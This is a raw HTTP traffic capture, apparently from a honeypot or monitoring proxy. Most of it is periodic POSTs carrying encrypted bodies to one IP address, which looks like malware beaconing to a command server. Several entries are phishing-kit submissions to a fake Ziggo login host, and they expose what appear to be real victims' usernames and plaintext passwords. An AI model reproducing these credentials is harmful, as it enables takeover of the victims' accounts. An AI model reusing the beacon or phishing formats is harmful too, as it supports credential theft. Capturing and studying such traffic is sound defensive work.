  3576. [13:26] <HTTP> S/Fbkt3JNXJQMxCeFWLWxHEMq5nBTckz9I6j2S1ddpynKM0rStNMrYGNqcYluV2wXb3H/UQiKJdutwUHZSvvpxF5yYBt+ibS8FUf1nf5fwjDenXSffxvr5ncD27PsZA91qXpnF9hl1R48RXha8SWgndBXkBurhMSNmSonDy+Cbd6YxmUE/n0kmruNZlyWiRiXivPI2P9CHBcDwBqSHt2og0d85YXcBdDNu/2+dLDb7OIryS6/RF/RyYUc/05/uFgd2A1/hHSxiKiqOuIPiECfuSoo0WqLg+tEEUBKXgZFpBPmKhqWF58I5YheKWsdKhtlgP3HLiz0E4+ORTUq0/T2B6paa1s1AXdegSEg0uzMnaBEtGn9NbiOXitAA==
  3577. [13:28] <HTTP> Socket initiated: 71.235.124.202
  3578. [13:28] <HTTP> POST / HTTP/1.1
  3579. [13:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  3580. [13:28] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3581. [13:28] <HTTP> Host: 172.86.120.218
  3582. [13:28] <HTTP> Content-Length: 456
  3583. [13:28] <HTTP> Cache-Control: no-cache
  3584. [13:28] <HTTP> SqBex93NMfjzKFBP4F8fzVJ69vFkfVoHe/4VzItMisI/ZvqIR8w2nTXOgh9L5C5bYFzshkq59H9wBjZocnKkq8Ig5DDkAJ5MIC5lA+pYEMjd4M6tM0iu1dPfUuILDLg1WAq8UldzZZ9IrITxTtungc5Ifoi90RFTfcGOkc7ajSSR+SPuuvfEdSVf9wJQ+2/NvIWdYs6cwQi4zM6AMfUA3KQlbEdS/hekNcnPkr9tGh7bknh2ZryQf+HE/4var6AtD4xqXGS3EP9nfX2d9jSR6zRdKDpEoGaAtHuS8ltW3sFaxCkJU7T7yY4KcIJfrvnXMDRA48OLVmCaAjag2CuwTwEgdgExoLJY8JCw9oid886CBvkflwvC9ZFBqNAvbeiL5paATUwWHuw19+
  3585. [13:28] <HTTP> dVPB7bmdp4odEPsun2SqgGgbW/EvY2n54c4BY9LuQYA/n7aTWp57ZpKA==
  3586. [13:30] <HTTP> Socket initiated: 71.235.124.202
  3587. [13:30] <HTTP> POST / HTTP/1.1
  3588. [13:30] <HTTP> Content-Type: application/x-www-form-urlencoded
  3589. [13:30] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3590. [13:30] <HTTP> Host: 172.86.120.218
  3591. [13:30] <HTTP> Content-Length: 440
  3592. [13:30] <HTTP> Cache-Control: no-cache
  3593. [13:30] <HTTP> EaZbxdmZNUsuykGc3WeLbmifcNV/UQr3q2mrmBz0BwIG1H+jjdPMu9Tk7lOnaEWxFalLmOpUavkBLyG2lLHYaNGoRBr+OxSB3widnN9msrMnRcc3UusN1cEmm0v5z+8AmGtdHTDDhzkBaOsKWBoIfapPYQsQckVzxja50hvamgU1pROf/5PBQtk+U7bAzzZU5mBmAn91xDspF1A+IySL3gxVMAA5x7pN/iHdUDhgWgz9YQANahCrBHGrMZjd9NCOC9bI6V8b+8IAYZljjE7f5N7idiEtKYx0U5nQN5Y/Nvyf5xYbvWXWxR7hAMrhBl7SIyO0xf4fmRjlpqLPiLRGSuAkU7KqU0NtEWLE1UINvUeNYCR/RbtsrGE6aVFt7bc3DIvcmiHtxl2O0S
  3594. [13:30] <HTTP> dMMJQ3XXTxYHP7XWhKvWBQ3bMjNXIPdfUN2oZfF+4=
  3595. [13:32] <HTTP> Socket initiated: 71.235.124.202
  3596. [13:32] <HTTP> POST / HTTP/1.1
  3597. [13:32] <HTTP> Content-Type: application/x-www-form-urlencoded
  3598. [13:32] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3599. [13:32] <HTTP> Host: 172.86.120.218
  3600. [13:32] <HTTP> Content-Length: 380
  3601. [13:32] <HTTP> Cache-Control: no-cache
  3602. [13:32] <HTTP> QaAPldLPYoY8GxSQd6Y0zCNqfy4FbOqPepJbWXzA0mi3YxCPmoZiiLVutrdBinEQh1CIbuexOSfzcQFB3N/LOb1h8CucGFsvbtdQu4zWv9h5Nu902z4NRCt+g62gAqUk7kMVt06MPd+r8YrpKWJrjx9S6K66xN0FzMeFH3Ztf8j7xai5Z5JG9U0itCBfEXdd9lFIdINYefatyNQA7Xe0cyRiaqVypWyRbJX+qYM7EAQwImEzzbGRfCfE6o6WT6MAmf2Dx+IpKxVlgHvqDfhF8wS1TQuXpEcvKWkYOQMo8yMoUpFf4joiArczainLBoCip7W+DKMeJUC+Svsx99EYDYZHfTyo0JYO4X5keW6F8ixiTNT3rbkFB+8yfQ==
  3603. [13:34] <HTTP> Socket initiated: 71.235.124.202
  3604. [13:34] <HTTP> POST / HTTP/1.1
  3605. [13:34] <HTTP> Content-Type: application/x-www-form-urlencoded
  3606. [13:34] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3607. [13:34] <HTTP> Host: 172.86.120.218
  3608. [13:34] <HTTP> Content-Length: 360
  3609. [13:34] <HTTP> Cache-Control: no-cache
  3610. [13:34] <HTTP> FK0Pko+ZMA9xGB8sHoZQdIqHDwAo08iT6K0YLXaJXj6QxoA0YkeauSPBzzmiu+LXDGYUm9YKxLHRBifIev8m4L8a/+rFHTK+unTQ9nsT4R0kLxjyGZn8o8fNNAit0VoKz/cS5GOJNlVq5b5fcI/hNfAnnDgioaCMVZZiN2XvPfcyfpBy+jqNY7+E8fWqRo0YNaKZ1VrLLK1nPosC7Rb8An3g0Doxsxhhym2f5wAg7rlFqftj+dQtCTr4FvXNuBP2Z8ELLARkujlUMuj9x1bYlAzEouLAEmZ+MaW9T6l5jpr1OheHPI7FKbaHLWGtRyoNPN+zk+5QZ7WEbzz+Y9HPE35Lkp/AWgNKY/+WY2U=
  3611. [13:36] <HTTP> Socket initiated: 71.235.124.202
  3612. [13:36] <HTTP> POST / HTTP/1.1
  3613. [13:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  3614. [13:36] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3615. [13:36] <HTTP> Host: 172.86.120.218
  3616. [13:36] <HTTP> Content-Length: 432
  3617. [13:36] <HTTP> Cache-Control: no-cache
  3618. [13:36] <HTTP> FqUNk4+bMo909B/VEftOVMhLepuPwKXMLxVKSCRDTe+sKh3oPDqqWbIekC48zPCqtt4TgTSD2YzmPtZN4vd42N4U2LwYTdIHp2UzlZL92H6FWWS9Psx84QW3V3UFVEaqmy6hZ7Lg4a7nb+GEP1Kc7mgYChFjxDr2S65AKhm3u2f2SWWyV/excN8eRoyBF4qdXApr7NiC3Z9HsP/0EWLMDtNXkydeDYiN8kAU0eX44/+qMelgHc2pT/QflOluHJ1qGhRCsHc15RW0qrHJp1S47OlT5F/MEH+gpo921RMNY7SJbOx71tzfA7d/roD9/9pjGBSIpztiQ+awbkteKsc0kdCCi8l0o3LBhTG34LsP0MOpeL78ueWFjPh3s4mgYTD1rhWRqrrYj7LbxP
  3619. [13:36] <HTTP> 9X356gAc//yihx92sQ7i+RmQMdCJJ2WnI=
  3620. [13:38] <HTTP> Socket initiated: 71.235.124.202
  3621. [13:38] <HTTP> POST / HTTP/1.1
  3622. [13:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  3623. [13:38] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3624. [13:38] <HTTP> Host: 172.86.120.218
  3625. [13:38] <HTTP> Content-Length: 384
  3626. [13:38] <HTTP> Cache-Control: no-cache
  3627. [13:38] <HTTP> S6MNyNyeYmyLc58lv9rH0/7MWVXYx8DRYeV9vtcenm1W6J3oujw3mP+DdyjkhowAEOzBJG3k+SvQZJk5DV1AnOTr4k9nOP24yqDB8wT/O6nHhi+m7SMBoScmliWsyifI4u4JNICHWAfSkUJX9YgUwfTZNP8ns/nYV7IqmDxYR8+ZAROdZnylqDSziCoxXdVBRrmwSQHq/dFTyIPGOfprKHUw7yvFmCoIxJh3eF+Or2wlJ4ICYfDlZ9aaHQZen+AI8umlQkyFxxy52WAcRA5lFunonLrlFRBzB8+g+DxbZ1z5ExPiPYcBKPKDY1N5IhkXVAwMXWLaB5DENuGjcXWFJNIY3fVWHh9CJ4DbrgWxiAMiXC7KpvCqMYiWNdFp5tY=
  3628. [13:40] <HTTP> Socket initiated: 71.235.124.202
  3629. [13:40] <HTTP> POST / HTTP/1.1
  3630. [13:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  3631. [13:40] <HTTP> Socket initiated: 77.173.5.181
  3632. [13:40] <HTTP> Socket initiated: 77.173.5.181
  3633. [13:40] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3634. [13:40] <HTTP> Host: 172.86.120.218
  3635. [13:40] <HTTP> Content-Length: 360
  3636. [13:40] <HTTP> Cache-Control: no-cache
  3637. [13:40] <HTTP> QqcLwImabAx45cvnJG6F2yS9tavGYZ/Jvks3EjAYoIkU6t0TCKlrhNIAV1KSU67fPxZKVX686X9Lu4G91LmTPRFOA4htJ2dKHlz1w8H8wJ5/fbGb8chOFSApMe16wQQy4PREy/QqQGTXi/8sdO4LS9H21bNIVrgseHbZcDa8KPX4slHOcHZ9FmFlMH7L8UDXyI4dniZL+jiVpB0anVDUkr3mf+O99m423H+wp4fZwKji91V+jLuxVgKI4Qe5HJdZf7PNxd7vihFqYm1EYYcYnE4N/cpxuPimpcRod8gj+vWzsKcoanhNp1nAoSrnaDKuszhxXY1AdC3mfEvbyxdFM044m6NVN92HKbTquuU=
  3638. [13:40] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3639. [13:40] <HTTP> Host: ziggo.nl.hacked.jp
  3640. [13:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  3641. [13:40] <HTTP> Origin: http://219.93.200.189
  3642. [13:40] <HTTP> Accept-Encoding: gzip, deflate
  3643. [13:40] <HTTP> Content-Length: 135
  3644. [13:40] <HTTP> Connection: keep-alive
  3645. [13:40] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  3646. [13:40] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1
  3647. [13:40] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3648. [13:41] <HTTP> DNT: 1
  3649. [13:41] <HTTP> Accept-Language: nl-nl
  3650. [13:41] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Rosaklerks%40gmail.com&userId=Rosaklerks%40gmail.com&password=helvoirt1&button=
  3651. [13:42] <HTTP> Socket initiated: 71.235.124.202
  3652. [13:42] <HTTP> POST / HTTP/1.1
  3653. [13:42] <HTTP> Content-Type: application/x-www-form-urlencoded
  3654. [13:42] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3655. [13:42] <HTTP> Host: 172.86.120.218
  3656. [13:42] <HTTP> Content-Length: 364
  3657. [13:42] <HTTP> Cache-Control: no-cache
  3658. [13:42] <HTTP> E6NfxIybbCJ5BltBcmE7aVmfcCE/aiUx5i4kc7xV1CQGVr9wui3QBCaGIy3yD5eDWcKyDAWGm6DEuRiQrh1dd9IuffWyTlLGEv6dC0NedfqvnsoeKLTfjfn4dD5aw1UhKhWtFxBuqbla+m+Ajb4JqAbIcxseoSeGiKdHQR6CZ4kULXe4n8dFwihNBxwuEfF5lmNJfUZNR9bIgr+mUmlfKm+1COqm3WvdacTGth2HLYj+2bz84D8FRJYvQ2pmhVG48hcfZLykBeMMlp3u6KoK13dg4FEevmQqIn0D/n91ypuvpqGfiMml1Tmx8TnP3+BgVLVJhMTkAJjRdubpMFbsznwFwHQi7st+gqSlM28MjA==
  3659. [13:42] <HTTP> Socket initiated: 77.173.5.181
  3660. [13:42] <HTTP> Socket initiated: 77.173.5.181
  3661. [13:42] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3662. [13:43] <HTTP> Host: ziggo.nl.hacked.jp
  3663. [13:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  3664. [13:43] <HTTP> Origin: http://219.93.200.189
  3665. [13:43] <HTTP> Accept-Encoding: gzip, deflate
  3666. [13:43] <HTTP> Content-Length: 135
  3667. [13:43] <HTTP> Connection: keep-alive
  3668. [13:43] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  3669. [13:43] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1
  3670. [13:43] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3671. [13:43] <HTTP> DNT: 1
  3672. [13:43] <HTTP> Accept-Language: nl-nl
  3673. [13:43] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Rosaklerks%40gmail.com&userId=Rosaklerks%40gmail.com&password=helvoirt1&button=
  3674. [13:44] <HTTP> Socket initiated: 71.235.124.202
  3675. [13:44] <HTTP> Socket initiated: 94.213.254.205
  3676. [13:44] <HTTP> POST / HTTP/1.1
  3677. [13:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  3678. [13:44] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3679. [13:44] <HTTP> Host: 172.86.120.218
  3680. [13:44] <HTTP> Content-Length: 364
  3681. [13:44] <HTTP> Cache-Control: no-cache
  3682. [13:44] <HTTP> RfcMkovKNeTeYDD6kTMzCCj8Bz5849+OHiRmg7ewt3YskRmBt6bjr3h7kkXn9hGWZDG4Gmnj5qikjcVd5QE9IZ67E4h9e03dZ7PQLeO+wEKjRRg3KLqw/ILFA0vEHFqyon/wgQDdXWmGTNrLxkjFN1X0a6AABh+hUus3fpElb+1tw3p02X011SUJvH7JalsUvguA8s8Km7vJH56M4z3803tro2fjBZgcHNEIz6NfcPXARUlg4i7kf+FVk8eNgKDS/52NbnN4qPNrhfEhsDIyk0ohyj/beLGrx8g7FWEqMPVL42NEB04rGYRPdkbOqr791nLRWCxEv8Tq85GbH/XSh0ALifJ3gN+UepE56ezLWo74POST /ziggohandler/iam/authenticateuser/
  3683. [13:44] <HTTP> HTTP/1.1
  3684. [13:44] <HTTP> Host: ziggo.nl.hacked.jp
  3685. [13:44] <HTTP> Connection: keep-alive
  3686. [13:44] <HTTP> Content-Length: 109
  3687. [13:44] <HTTP> Cache-Control: max-age=0
  3688. [13:44] <HTTP> Origin: http://219.93.200.189
  3689. [13:44] <HTTP> Upgrade-Insecure-Requests: 1
  3690. [13:44] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G925F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  3691. [13:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  3692. [13:45] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3693. [13:45] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3694. [13:45] <HTTP> Accept-Encoding: gzip, deflate
  3695. [13:45] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  3696. [13:45] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Ajhkremer&userId=Ajhkremer&password=Shadow.60&button=
  3697. [13:46] <HTTP> Socket initiated: 71.235.124.202
  3698. [13:46] <HTTP> POST / HTTP/1.1
  3699. [13:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  3700. [13:46] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3701. [13:46] <HTTP> Host: 172.86.120.218
  3702. [13:46] <HTTP> Content-Length: 392
  3703. [13:46] <HTTP> Cache-Control: no-cache
  3704. [13:46] <HTTP> FPZdwo+bYXLjCRQ0kiE/6HWCk/E/eU+9erd8Z3sj42PJC5XfLqz22kL3iTvzJ78lx4IMDm+zLwiVLIrh0dbUZ+LyzzV2CFkBSvaRQJ8SFEcUgVUHhV7XOeDztLId2+buphrD6SkFlbYo+DCx88osHaOGHuragCRhtnTGTTfnU+vZGU4Y9LRu/vahuRl+WVLas4tE1+PystuHWmWCGDUSsDlgm4nwNOwS6VbsRtV+Nur49jL1VTA9K4c19rgg3UCYR+Xw0roTNmrDNm/GI+mDRggUOH2e9wbOrSRTp9RYUKiu8U7J2FExv/nIJAQyE9/8XMYEzkF8YJkDduMcpR+CgMj0gsEXkcSbRzE6ENgnVPq9VvzrkLhJ9TOhpzQTlYAjjk8Faw==
  3705. [13:48] <HTTP> Socket initiated: 71.235.124.202
  3706. [13:48] <HTTP> POST / HTTP/1.1
  3707. [13:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  3708. [13:48] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3709. [13:48] <HTTP> Host: 172.86.120.218
  3710. [13:48] <HTTP> Content-Length: 428
  3711. [13:48] <HTTP> Cache-Control: no-cache
  3712. [13:48] <HTTP> RaEMx4mZN8RkWugkvFGp6O0xrV/ZNFfIWD0Qn1ewOjGkpzziBpxH/VWE2s2aaIG0s+S8ISFlZMbJhT22dZYId8yYH+1utBhFOAY1hWtG8sSSfJmOtwKOH3FfjSUz7FZ9HvEpPOsLNCBn1nQ8L7sc48D9FNxK+6Cwe58koRYs160+V1tzGhhpJaPFKHn8kik9hAxHkQnX/q5lhO33xurruOgeNWFrjbMgOG+v3xYb6+O8nb6igC7u46WNdxY5ulkCpjAYzof7H1/atHj5mMcpmMow5u+WeIk2U45qSnsfcIhP+iJp1DiuorMo/TIjJ2HlGaO0Jnq45tfVpUXjOxcyTRtdF+eQPmbbjfZ5qxIk5QWbKxs0BchZ2MCc/r18j+jP843iobfZgRbSyz
  3713. [13:48] <HTTP> Pdvl6y1rSvc3wNFHXwZuvRl2Tvwps=
  3714. [13:50] <HTTP> Socket initiated: 71.235.124.202
  3715. [13:50] <HTTP> POST / HTTP/1.1
  3716. [13:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  3717. [13:50] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3718. [13:50] <HTTP> Host: 172.86.120.218
  3719. [13:50] <HTTP> Content-Length: 384
  3720. [13:50] <HTTP> Cache-Control: no-cache
  3721. [13:50] <HTTP> Ra1ckIvOZZgZj0BrgNlLEaCjTs3d36WZEBlJG4/VAtW4BNpDXd4RoQopDWX6rrypon7ff87S2U0fvM7C/BGfmYTu9rxFthw0m/524AUpaEeS5782YR5rkGqin55dI7ndQjl5AJhzIt6/qY6ygUJ4E2Vz1f5WQu0/zufoz2gwNosbBB9VnwKMc4ND5c4s626MqWksP8zpJKK5aZ1qt/gxT/dveX38noc4P6fDXMmCe2WAkD3A6d05zmA26nUx6Zptj90Skxx1EetwXUujziOHf/7nQI4NP+U0vU/gsJ08Uu+OmBcUjGKuxSeCkItP9rhU3/RaNJuEVCFliXM7fyCfDiZ8DScjP/QsAjEtjpsP5hb5Rywso2xXh/3QInH35Q==
  3722. [13:52] <HTTP> Socket initiated: 71.235.124.202
  3723. [13:52] <HTTP> POST / HTTP/1.1
  3724. [13:52] <HTTP> Content-Type: application/x-www-form-urlencoded
  3725. [13:52] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3726. [13:52] <HTTP> Host: 172.86.120.218
  3727. [13:52] <HTTP> Content-Length: 376
  3728. [13:52] <HTTP> Cache-Control: no-cache
  3729. [13:52] <HTTP> RPddyYzLbE3ZbfXeZGW0R4odBKDrwg6rTiMka/F3j93fi0UQ7oa2a20CE5HNXBm800O4HkBnDI/EsOvH9izkJvud1zLUI1MApW0PAHy+lx4hD500TOlvSn22wRNc3hM+MzbEqB70DxXaJ8tT4yNzxpVtEye4fNhQEm8tVwaxm1Qbjtxqz291E6eLkNhCejNGSeQpQhh3E3MsxphUoK7RZzkx3HWBucYp71neiaU3EOs+vZA/QgGRT98vz879DpEwdE71CP/nSiLt9mOXBkLckw/YNoRdm8TiUEe/Ur18MNENOQshg0jRjsjVtzAby/+q0cjMjlJ2+PVVrJiSM4Uz3apSDQyO0+5MIRbjXcQKS1v+AwOSmFD7OA==
  3730. [13:54] <HTTP> Socket initiated: 71.235.124.202
  3731. [13:54] <HTTP> POST / HTTP/1.1
  3732. [13:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  3733. [13:54] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3734. [13:54] <HTTP> Host: 172.86.120.218
  3735. [13:54] <HTTP> Content-Length: 416
  3736. [13:54] <HTTP> Cache-Control: no-cache
  3737. [13:54] <HTTP> FPMNlIjIZW6hUqNtAaddoR+cwnpgEANDlXHtFSTE8Mg2u1OWgEd4RpTbxOVuix3afUxEA+OasW2wBGA9nnQeYluMZ1P2B2vOCcY5IiSRRlV8Ms5jz+laTBu9gLxzbLPb20IDL3sqDLiKaV1FByG1z3geGm4aT/iWqOCyJFP+BF91qO1GrO2TBlnCTrWSKwWhQtWxHNgkTHQKqhYOGeE5BHNgxkH9HqiMaetRKIC64zbQvrmT4ntrYwPXUv/uYlRlj3lexNmkEIUwDeY8c1YNfNM9EgErGarJ/yZbfT8YSuT/sMHgWxY+vjbLOq8CPA8p3rHO9Z2HVKA++A+h2fn9FPcIMakAYupLMcrJacVBIicY5btiOY23ANaWtBqvGZyg8q8hLekrfAAmy9
  3738. [13:54] <HTTP> rUgZBN53/J7qlt4g==
  3739. [13:56] <HTTP> Socket initiated: 71.235.124.202
  3740. [13:56] <HTTP> POST / HTTP/1.1
  3741. [13:56] <HTTP> Content-Type: application/x-www-form-urlencoded
  3742. [13:56] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3743. [13:56] <HTTP> Host: 172.86.120.218
  3744. [13:56] <HTTP> Content-Length: 424
  3745. [13:56] <HTTP> Cache-Control: no-cache
  3746. [13:56] <HTTP> S/FYktLIYLIs7vRl4a0wyCttlFEV1OkMQArH4d3N82m0vbAe31APrQREZGiqFYcV7uqlMVJZB8EgBb+BCmeuDe5Hyn7hTx9mWDCdm236dMZndZ8lG5yLqIXhut21KZq9/B7GIHM+bIxn060pvKbzBQjwZLAHAfFHTVj/zm0L0uv+Mfza0fp7tR5/hB8PZ52iIaX7pSlpHBkpLRMdrDIk1hKrU2KZZo0xdTYBbJOmNp+xglUYXZ+5X/wxOUZI9Zah985IpaKCCiFysXkVunUeaAIaBZN2lh98TL8F8G/QAWny7FpRIpZJFjo1gOTJQLIGmUKsS6oyoMTE4oAmtgWTe8qe1hr12iVPCFzBNRlz+oDyAh35FAd4sal61F6ZurbHMBjegLIBo3yCnf
  3747. [13:56] <HTTP> lG1lJmNZcp7X75TLwoKESN2Gcj
  3748. [13:58] <HTTP> Socket initiated: 71.235.124.202
  3749. [13:58] <HTTP> POST / HTTP/1.1
  3750. [13:58] <HTTP> Content-Type: application/x-www-form-urlencoded
  3751. [13:58] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3752. [13:58] <HTTP> Host: 172.86.120.218
  3753. [13:58] <HTTP> Content-Length: 432
  3754. [13:58] <HTTP> Cache-Control: no-cache
  3755. [13:59] <HTTP> Q6IMxdOZMmdBScHc2qxTmz68fXf7HLqYwFh/ni5u0VpOnDlX57rkxRGWvMU4zXXaOr0+mHFVMrCJ9R14YjGstY8JV6IQwo2iO7ceUS7qZyHQz/09AkCRbSG7EAg3dr+1VQhJ82vE1Gy7H+aB7MDdtcrR7mym+fiwTPoBPt7BeNE6T/8vHR+yNx6bryN+QJiHn5CtzxXLkkYSsAc8smcU8TaJixwnl6AobzTpiOZsyzO2BuvS8I1YR2RDCIFFcZAYv0mGY3+mqR7FyWHXbNBhsO3wNPbhjUPIKA8FQ+sYjlRnnrhkeL8O/D9h652cAku3JvluD+J4LvoLcWo5nM5tgaX0nskD80c8sg52caASWze23qj1BlJUpx2ya788TEwq29Go1H9DUaMJ6p
  3756. [13:59] <HTTP> EyZT1991qA4MmppRlt4xh6dBOE97+gBA==
  3757. [14:00] <HTTP> Socket initiated: 71.235.124.202
  3758. [14:00] <HTTP> POST / HTTP/1.1
  3759. [14:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  3760. [14:00] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3761. [14:00] <HTTP> Host: 172.86.120.218
  3762. [14:00] <HTTP> Content-Length: 408
  3763. [14:00] <HTTP> Cache-Control: no-cache
  3764. [14:01] <HTTP> S/QIldydN7zZqJmSDWZgzAsuelYUn8hbPL0zXWeHZ4snpTwfJqQxWiWoqxH3+BxiAKm+UgvCa9aZ+Gshm4VBioWyil7unBanMhj0Bn80MILqzslFDrcEYSmDg7CaQpF5TsSUCd4S/ozmt2A+OsRJsN6xFXrXQu/RGDX+5qT8BLCRFx3GD1PgtjhRJlqsaRG8Y/ij94uPFINSuNfupj2LZFaPbnDE+8WhsP0S7b8GUCJTjzpN8a49qkLDfQoyZg5GdR6yFzRPii7li0GbQY+gHOLhzUM4u/r/+QAy8U+MyQMzuIGGE5JR314tz1g3XONPVbs07G0uagz7O33dqIt24On415KPH3ZSIXNM4p8eHKy61LJDeB5sgOPC+7h1VKA39HNNr2wTgHGSzWSPp+H9/Bc=
  3765. [14:02] <HTTP> Socket initiated: 71.235.124.202
  3766. [14:02] <HTTP> POST / HTTP/1.1
  3767. [14:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  3768. [14:02] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3769. [14:02] <HTTP> Host: 172.86.120.218
  3770. [14:02] <HTTP> Content-Length: 376
  3771. [14:03] <HTTP> Cache-Control: no-cache
  3772. [14:03] <HTTP> EaZXkovLNew/TAZm2deUNnK6mfUZLSZpNYUO67NLj0XmcUalvVtOUgixE6cilBB6mxNET0ogCQ9F9z3k/bfGIGmbdUUAyW++7IgJUSVMxoiT1Pb4CD64Uza5XUaDatDdIV16dpeoLZVMjU6FzsHjEjB+xBgf7tlr5X06ocmAT7t+V57ohsM8jm6V7dZHktm+La4OIF1Kvh6TKma/swBavoFqvoHWM7Oqt0UtqDhr3zRRxr1s+s2Y/FmTnZg+2DrZspqxtdwL5r12QSEr4NwLLupzsy2bQ29/RZpmz1xDBJghcschiYitm9CRNGOFn3gIj/ogejz/3c78sHziPTzFX3ofwx/b9qPw7BcNFTcQSebmN6Q4CELx4j6X
  3773. [14:04] <HTTP> Socket initiated: 71.235.124.202
  3774. [14:04] <HTTP> POST / HTTP/1.1
  3775. [14:04] <HTTP> Content-Type: application/x-www-form-urlencoded
  3776. [14:04] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3777. [14:04] <HTTP> Host: 172.86.120.218
  3778. [14:05] <HTTP> Content-Length: 444
  3779. [14:05] <HTTP> Cache-Control: no-cache
  3780. [14:05] <HTTP> FvdfwNqdbIo2hZ+HPAHN0CHJA0BAy6Kddgo1fFP8O6r+uFFvC0i7erPej5JijNqvyUBiDZW3bx3VRDsHue/aVzYvtbpOmS6DVSAp+msL6j4A07DEQRMwjVf/6wLQ+sZPan3F1cl4OQKOUc3VebfejeTzxK97elJ7kPjgAHkP6Kw8gJdAMin2FC8Z0w9HKCrDveZnz/si4kAaisf6+yc5DuItawmmuzSB09G4QHldYx65ZPFQru1qdQeC/vlNNtPm2tYA0izPXY3kbaF3NktZj1MlD/egfrJTeglM5ltHsyuRAEsdfbwV7NeAjid4owBTHrjQjFd06Nr00iS3lfwtqgKpiAUXfXtU9RPWNRVOs5/K+KeEGuWb5lmR93ArE0VDT4JNpOoJbg5aL0
  3781. [14:05] <HTTP> 0B706zBdlMINsKBUvONtYgI/7A7iyV9ZvmmTv9iii9fgQ=
  3782. [14:06] <HTTP> Socket initiated: 71.235.124.202
  3783. [14:06] <HTTP> POST / HTTP/1.1
  3784. [14:06] <HTTP> Content-Type: application/x-www-form-urlencoded
  3785. [14:06] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3786. [14:07] <HTTP> Host: 172.86.120.218
  3787. [14:07] <HTTP> Content-Length: 368
  3788. [14:07] <HTTP> Cache-Control: no-cache
